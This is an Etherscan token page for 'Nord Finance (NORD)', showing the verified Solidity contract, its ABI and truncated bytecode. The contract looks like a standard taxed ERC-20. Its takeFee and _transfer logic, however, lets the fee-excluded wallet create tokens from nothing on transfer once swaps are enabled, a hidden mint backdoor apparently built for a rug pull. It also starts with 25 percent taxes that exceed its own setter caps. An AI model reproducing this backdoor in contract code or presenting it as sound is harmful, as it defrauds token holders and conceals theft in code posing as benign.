ETH Price: $2,640.26 (+1.29%)

Token

Nord Finance (NORD)
 

Overview

Max Total Supply

1,000,000,000 NORD

Holders

92

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
108,328.214539242 NORD

Value
$0.00
0x473391762E1a0033e2959B0166863150B2904F10
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NORD

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-17
*/

// SPDX-License-Identifier: Unlicensed

/**
Multichain Decentralized Investment Banking | Savings | Advisory | Loans | Swaps

Website: https://www.nordfi.org
Telegram: https://t.me/nord_erc
Twitter: https://twitter.com/nord_erc
App: https://app.nordfi.org
*/

pragma solidity 0.8.21;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router {
    
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract NORD is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name = "Nord Finance";
    string private _symbol = "NORD";
    uint8 private _decimals = 9;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public checkExcludedFromFees;
    mapping (address => bool) public checkWalletLimitExcept;
    mapping (address => bool) public checkTxLimitExcept;
    mapping (address => bool) public checkMarketPair;

    uint256 public _liquidityShares = 0;
    uint256 public _marketingShares = 10;
    uint256 public _developmentShares = 0;

    uint256 public _totalTaxIfBuying = 25;
    uint256 public _totalTaxIfSelling = 25;
    uint256 public _totalDistributionShares = 10;

    uint256 public _buyLiquidityFees = 0;
    uint256 public _buyMarketingFees = 25;
    uint256 public _buyDevelopmentFees = 0;
    uint256 public _sellLiquidityFees = 0;
    uint256 public _sellMarketingFees = 25;
    uint256 public _sellDevelopmentFees = 0;

    uint256 private _totalSupply = 1000_000_000 * 10**9;
    uint256 public maxTxAmount = _totalSupply;
    uint256 public maxWallet = _totalSupply*15/1000;
    uint256 private minTokensToSwap = _totalSupply/10000; 

    address payable private feeAddress;
    address public immutable DEAD = 0x000000000000000000000000000000000000dEaD;

    IUniswapV2Router public uniswapV2Router;
    address public uniswapPair;
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        IUniswapV2Router _uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        feeAddress = payable(0x3023da6A3c4D352653CDF51d16Dde31978F0ED1f);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        checkExcludedFromFees[owner()] = true;
        checkExcludedFromFees[feeAddress] = true;

        checkWalletLimitExcept[owner()] = true;
        checkWalletLimitExcept[feeAddress] = true;
        checkWalletLimitExcept[address(uniswapPair)] = true;
        checkWalletLimitExcept[address(this)] = true;
        
        checkTxLimitExcept[owner()] = true;
        checkTxLimitExcept[feeAddress] = true;
        checkTxLimitExcept[address(this)] = true;

        checkMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setBuyFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _buyLiquidityFees = newLiquidityTax;
        _buyMarketingFees = newMarketingTax;
        _buyDevelopmentFees = newDevelopmentTax;

        _totalTaxIfBuying = _buyLiquidityFees.add(_buyMarketingFees).add(_buyDevelopmentFees);
        require (_totalTaxIfBuying <= 10);
    }

    function setSellFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _sellLiquidityFees = newLiquidityTax;
        _sellMarketingFees = newMarketingTax;
        _sellDevelopmentFees = newDevelopmentTax;

        _totalTaxIfSelling = _sellLiquidityFees.add(_sellMarketingFees).add(_sellDevelopmentFees);
        require (_totalTaxIfSelling <= 20);
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        maxWallet  = newLimit;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
    }
    
    function adjustMaxTxAmount(uint256 maxTxAmount_) external onlyOwner() {
        require(maxTxAmount_ >= _totalSupply/100, "Max wallet should be more or equal to 1%");
        maxTxAmount = maxTxAmount_;
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal view returns (uint256, uint256) {
        
        uint256 feeAmount = amount;

        if (checkExcludedFromFees[sender] && swapAndLiquifyEnabled) return (amount, feeAmount);

        if(checkMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(checkMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if (checkExcludedFromFees[sender]) {
            return (amount, 0);
        }

        return (amount.sub(feeAmount), feeAmount);
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 amountETHMarketing = address(this).balance;
        transferToAddressETH(feeAddress, amountETHMarketing);
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
                require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minTokensToSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !checkExcludedFromFees[sender] && checkMarketPair[recipient] && swapAndLiquifyEnabled && amount > minTokensToSwap) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minTokensToSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            (uint256 finalAmount, uint256 feeAmount) = takeFee(sender, recipient, amount);

            address feeReceiver = feeAmount == amount ? sender : address(this);
            if(feeAmount > 0) {
                _balances[feeReceiver] = _balances[feeReceiver].add(feeAmount);
                emit Transfer(sender, feeReceiver, feeAmount);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            if(checkWalletLimit && !checkWalletLimitExcept[recipient])
                require(balanceOf(recipient).add(finalAmount) <= maxWallet);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_developmentShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount_","type":"uint256"}],"name":"adjustMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkTxLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkWalletLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600c60a09081526b4e6f72642046696e616e636560a01b60c0526002906200002d908262000599565b506040805180820190915260048152631393d49160e21b602082015260039062000058908262000599565b506004805464ffffff00ff19166401000000091790555f600b819055600a600c819055600d8290556019600e819055600f8181556010929092556011839055601281905560138390556014839055601555601691909155670de0b6b3a7640000601781905560188190556103e891620000d2919062000661565b620000de91906200068b565b601955612710601754620000f391906200068b565b601a5561dead60805234801562000108575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601b80546001600160a01b031916733023da6a3c4d352653cdf51d16dde31978f0ed1f1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa158015620001c1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e79190620006ab565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000233573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002599190620006ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ca9190620006ab565b601d80546001600160a01b039283166001600160a01b031991821617909155601c80549284169290911682179055601754305f908152600660209081526040808320948352939052918220556001906007906200032e5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055601b54909116815260079092528120805490921660019081179092556008906200038c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055601b54821681526008909352818320805485166001908117909155601d5490911683528183208054851682179055308352908220805490931681179092556009906200040c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055601b5482168152600984528281208054861660019081179091553082528382208054871682179055601d549092168152600a90935290822080549093161790915560175490600590620004893390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601754604051620004ea91815260200190565b60405180910390a350620006da565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200052257607f821691505b6020821081036200054157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000594575f81815260208120601f850160051c810160208610156200056f5750805b601f850160051c820191505b8181101562000590578281556001016200057b565b5050505b505050565b81516001600160401b03811115620005b557620005b5620004f9565b620005cd81620005c684546200050d565b8462000547565b602080601f83116001811462000603575f8415620005eb5750858301515b5f19600386901b1c1916600185901b17855562000590565b5f85815260208120601f198616915b82811015620006335788860151825594840194600190910190840162000612565b50858210156200065157878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200068557634e487b7160e01b5f52601160045260245ffd5b92915050565b5f82620006a657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006bc575f80fd5b81516001600160a01b0381168114620006d3575f80fd5b9392505050565b6080516119e3620006f35f395f61025d01526119e35ff3fe608060405260043610610241575f3560e01c80638c0b5e2211610134578063c78a789b116100b3578063f0cd1dac11610078578063f0cd1dac146106a6578063f1d5f517146106bb578063f2fde38b146106da578063f872858a146106f9578063f8b45b051461071a578063fabf70631461072f575f80fd5b8063c78a789b146105e0578063c816841b1461060e578063d76e26a31461062d578063da00097d14610642578063dd62ed3e14610662575f80fd5b80639e3fa323116100f95780639e3fa32314610563578063a08e671f14610578578063a9059cbb1461058d578063b6c3af34146105ac578063c49b9a80146105c1575f80fd5b80638c0b5e22146104eb5780638da5cb5b146105005780638f03aad51461051c578063914eb66a1461053b57806395d89b411461054f575f80fd5b8063313ce567116101c0578063646d470011610185578063646d470014610463578063661b6e3614610478578063705f9d741461048d57806370a08231146104a257806382eefb43146104d6575f80fd5b8063313ce567146103b25780634a74bb02146103d3578063526012e8146103f257806355324fa914610420578063565cec381461044e575f80fd5b80631d865c30116102065780631d865c301461032957806323b872dd1461034a57806325519cf2146103695780632df67109146103885780632f0a5fd41461039d575f80fd5b806303fd2a451461024c57806306fdde031461029c578063095ea7b3146102bd5780631694505e146102ec57806318160ddd1461030b575f80fd5b3661024857005b5f80fd5b348015610257575f80fd5b5061027f7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156102a7575f80fd5b506102b061075d565b604051610293919061168f565b3480156102c8575f80fd5b506102dc6102d73660046116f1565b6107ed565b6040519015158152602001610293565b3480156102f7575f80fd5b50601c5461027f906001600160a01b031681565b348015610316575f80fd5b506017545b604051908152602001610293565b348015610334575f80fd5b5061034861034336600461171b565b610803565b005b348015610355575f80fd5b506102dc610364366004611744565b61086e565b348015610374575f80fd5b5061034861038336600461171b565b6108d7565b348015610393575f80fd5b5061031b60125481565b3480156103a8575f80fd5b5061031b60145481565b3480156103bd575f80fd5b5060045460405160ff9091168152602001610293565b3480156103de575f80fd5b506004546102dc9062010000900460ff1681565b3480156103fd575f80fd5b506102dc61040c366004611782565b60086020525f908152604090205460ff1681565b34801561042b575f80fd5b506102dc61043a366004611782565b600a6020525f908152604090205460ff1681565b348015610459575f80fd5b5061031b600c5481565b34801561046e575f80fd5b5061031b60165481565b348015610483575f80fd5b5061031b60155481565b348015610498575f80fd5b5061031b60135481565b3480156104ad575f80fd5b5061031b6104bc366004611782565b6001600160a01b03165f9081526005602052604090205490565b3480156104e1575f80fd5b5061031b600f5481565b3480156104f6575f80fd5b5061031b60185481565b34801561050b575f80fd5b505f546001600160a01b031661027f565b348015610527575f80fd5b5061034861053636600461179d565b61092e565b348015610546575f80fd5b506103486109cb565b34801561055a575f80fd5b506102b0610a3c565b34801561056e575f80fd5b5061031b600b5481565b348015610583575f80fd5b5061031b60105481565b348015610598575f80fd5b506102dc6105a73660046116f1565b610a4b565b3480156105b7575f80fd5b5061031b60115481565b3480156105cc575f80fd5b506103486105db3660046117b4565b610a57565b3480156105eb575f80fd5b506102dc6105fa366004611782565b60096020525f908152604090205460ff1681565b348015610619575f80fd5b50601d5461027f906001600160a01b031681565b348015610638575f80fd5b5061031b600d5481565b34801561064d575f80fd5b506004546102dc906301000000900460ff1681565b34801561066d575f80fd5b5061031b61067c3660046117d3565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156106b1575f80fd5b5061031b600e5481565b3480156106c6575f80fd5b506103486106d536600461179d565b610a9c565b3480156106e5575f80fd5b506103486106f4366004611782565b610aca565b348015610704575f80fd5b506004546102dc90640100000000900460ff1681565b348015610725575f80fd5b5061031b60195481565b34801561073a575f80fd5b506102dc610749366004611782565b60076020525f908152604090205460ff1681565b60606002805461076c9061180a565b80601f01602080910402602001604051908101604052809291908181526020018280546107989061180a565b80156107e35780601f106107ba576101008083540402835291602001916107e3565b820191905f5260205f20905b8154815290600101906020018083116107c657829003601f168201915b5050505050905090565b5f6107f9338484610bb1565b5060015b92915050565b5f546001600160a01b031633146108355760405162461bcd60e51b815260040161082c90611842565b60405180910390fd5b601483905560158290556016819055610858816108528585610cd4565b90610cd4565b600f81905560141015610869575f80fd5b505050565b5f61087a848484610d32565b506108cc84336108c785604051806060016040528060288152602001611986602891396001600160a01b038a165f908152600660209081526040808320338452909152902054919061117d565b610bb1565b5060015b9392505050565b5f546001600160a01b031633146109005760405162461bcd60e51b815260040161082c90611842565b60118390556012829055601381905561091d816108528585610cd4565b600e819055600a1015610869575f80fd5b5f546001600160a01b031633146109575760405162461bcd60e51b815260040161082c90611842565b6064601754610966919061188b565b8110156109c65760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b606482015260840161082c565b601855565b5f546001600160a01b031633146109f45760405162461bcd60e51b815260040161082c90611842565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606003805461076c9061180a565b5f6108cc338484610d32565b5f546001600160a01b03163314610a805760405162461bcd60e51b815260040161082c90611842565b60048054911515620100000262ff000019909216919091179055565b5f546001600160a01b03163314610ac55760405162461bcd60e51b815260040161082c90611842565b601955565b5f546001600160a01b03163314610af35760405162461bcd60e51b815260040161082c90611842565b6001600160a01b038116610b585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161082c565b6001600160a01b038216610c745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161082c565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f80610ce083856118aa565b9050838110156108d05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161082c565b5f6001600160a01b038416610d975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161082c565b6001600160a01b038316610df95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161082c565b600454610100900460ff1615610e1b57610e148484846111b5565b90506108d0565b6001600160a01b0384165f9081526009602052604090205460ff16158015610e5b57506001600160a01b0383165f9081526009602052604090205460ff16155b15610ec357601854821115610ec35760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161082c565b305f90815260056020526040902054601a5481108015908190610eee5750600454610100900460ff16155b8015610f1257506001600160a01b0386165f9081526007602052604090205460ff16155b8015610f3557506001600160a01b0385165f908152600a602052604090205460ff165b8015610f49575060045462010000900460ff165b8015610f565750601a5484115b15610f7c5760045463